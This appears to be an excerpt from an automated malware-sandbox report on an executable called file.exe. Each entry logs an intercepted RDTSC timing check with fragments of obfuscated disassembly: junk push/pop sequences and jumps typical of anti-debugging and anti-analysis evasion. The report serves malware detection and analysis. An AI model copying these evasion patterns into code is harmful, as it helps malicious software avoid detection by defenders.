Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E7FE second address: 84E80C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F013D18EC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84E80C second address: 84E810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85596E second address: 855973 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8590E7 second address: 8590F1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F013CB9BBE2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBC1 second address: 85CBC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBC9 second address: 85CBDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBDEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBDC second address: 85CBE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBE3 second address: 85CC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBE5h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EB88 second address: 81EBA2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F013D18EC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pop eax 0x0000000c call 00007F013D18EC69h 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EBA2 second address: 81EBD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jnp 00007F013CB9BBF3h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EBD6 second address: 81EBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ED91 second address: 81ED97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81ED97 second address: 81EDBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jg 00007F013D18EC72h 0x0000000c xchg eax, esi 0x0000000d mov edi, dword ptr [ebp+122D1C70h] 0x00000013 push eax 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F0C6 second address: 81F0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F0CA second address: 81F134 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F013D18EC68h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dh, 70h 0x00000029 push 00000004h 0x0000002b sbb cx, 3A15h 0x00000030 nop 0x00000031 jns 00007F013D18EC78h 0x00000037 push eax 0x00000038 pushad 0x00000039 push ebx 0x0000003a jno 00007F013D18EC66h 0x00000040 pop ebx 0x00000041 je 00007F013D18EC6Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F4C7 second address: 81F551 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F013CB9BBE3h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F013CB9BBD8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1C70h], ecx 0x0000002f mov dword ptr [ebp+122D1FF7h], ecx 0x00000035 push 0000001Eh 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F013CB9BBD8h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 movsx edx, dx 0x00000054 jmp 00007F013CB9BBE6h 0x00000059 nop 0x0000005a push eax 0x0000005b push edx 0x0000005c push ebx 0x0000005d push esi 0x0000005e pop esi 0x0000005f pop ebx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F551 second address: 81F566 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013D18EC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F81A second address: 81F823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F823 second address: 81F85D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ebx 0x0000000c je 00007F013D18EC68h 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [eax] 0x00000017 push edi 0x00000018 jmp 00007F013D18EC76h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 push eax 0x00000026 pop eax 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F85D second address: 81F862 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F9E0 second address: 81FA03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F013D18EC77h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81FA03 second address: 81FA07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D4FD second address: 85D501 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D501 second address: 85D510 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F013CB9BBD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D859 second address: 85D85D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D85D second address: 85D865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D9A5 second address: 85D9D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop esi 0x00000007 jl 00007F013D18EC6Ch 0x0000000d je 00007F013D18EC66h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F013D18EC79h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8624F8 second address: 862512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jnl 00007F013CB9BBD6h 0x0000000c jnl 00007F013CB9BBD6h 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8634AA second address: 8634AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8634AE second address: 8634BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F013CB9BBD8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8634BC second address: 8634D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC75h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8634D7 second address: 8634E6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F013CB9BBD6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8673F7 second address: 8673FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8673FD second address: 867423 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F013CB9BBD6h 0x00000008 jmp 00007F013CB9BBE4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 js 00007F013CB9BBD6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867423 second address: 867432 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F013D18EC68h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81F2FF second address: 81F35E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBDEh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F013CB9BBD8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov ecx, dword ptr [ebp+124563FEh] 0x0000002d sub dword ptr [ebp+1245647Ah], esi 0x00000033 mov ebx, dword ptr [ebp+1248434Eh] 0x00000039 mov edx, 6D10812Ch 0x0000003e add eax, ebx 0x00000040 stc 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jc 00007F013CB9BBDCh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875295 second address: 87529B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87529B second address: 8752DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBDEh 0x00000007 jmp 00007F013CB9BBE8h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F013CB9BBE4h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8752DF second address: 875304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F013D18EC6Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007F013D18EC70h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875304 second address: 87530A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87530A second address: 87530E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87530E second address: 875314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9717 second address: 7D971B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D971B second address: 7D9721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D9721 second address: 7D974D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F013D18EC8Dh 0x0000000c ja 00007F013D18EC7Dh 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874AB7 second address: 874ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874ABC second address: 874AD0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F013D18EC68h 0x00000008 ja 00007F013D18EC6Eh 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879689 second address: 8796B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 jmp 00007F013CB9BBE0h 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F013CB9BBDAh 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007F013CB9BBD6h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8796B7 second address: 8796C1 instructions: 0x00000000 rdtsc 0x00000002 js 00007F013D18EC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8789CA second address: 8789EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F013CB9BBE3h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878CBD second address: 878CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878E46 second address: 878E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878E4A second address: 878E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F013D18EC75h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879175 second address: 87917B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87917B second address: 879185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 879185 second address: 87919C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013CB9BBE2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87919C second address: 8791B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013D18EC77h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8791B7 second address: 8791C9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F013CB9BBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007F013CB9BBD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F6DA second address: 87F703 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F013D18EC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F013D18EC6Ah 0x00000011 jbe 00007F013D18EC6Eh 0x00000017 popad 0x00000018 push esi 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F703 second address: 87F70B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F70B second address: 87F711 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F857 second address: 87F876 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F013CB9BBD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F013CB9BBDFh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F876 second address: 87F87A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F87A second address: 87F8BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F013CB9BBE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d ja 00007F013CB9BBD6h 0x00000013 jmp 00007F013CB9BBE9h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jbe 00007F013CB9BBD8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F8BD second address: 87F8C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87F8C3 second address: 87F8C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FF27 second address: 87FF32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87FF32 second address: 87FF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F013CB9BBD6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 880448 second address: 88047F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F013D18EC7Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F013D18EC6Ch 0x00000012 pushad 0x00000013 popad 0x00000014 jnl 00007F013D18EC66h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88047F second address: 88049C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F013CB9BBE9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883751 second address: 883755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 883755 second address: 88377E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F013CB9BBD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F013CB9BBE7h 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F013CB9BBD6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888681 second address: 88868A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88868A second address: 8886CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F013CB9BBD6h 0x0000000a jmp 00007F013CB9BBE5h 0x0000000f jmp 00007F013CB9BBE9h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jbe 00007F013CB9BBDCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886CE second address: 8886DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F013D18EC6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8886DE second address: 8886F9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F013CB9BBE4h 0x00000008 pop esi 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB6E second address: 88CB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F013D18EC66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB7B second address: 88CB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88CB7F second address: 88CB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BE15 second address: 88BE22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F013CB9BBD6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88BE22 second address: 88BE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F013D18EC72h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C0EF second address: 88C0F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F013CB9BBD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C0F9 second address: 88C0FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C40F second address: 88C415 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C415 second address: 88C419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C593 second address: 88C597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C597 second address: 88C59D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 88C59D second address: 88C5A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D622B second address: 7D6231 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896CD3 second address: 896CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 896DF9 second address: 896DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
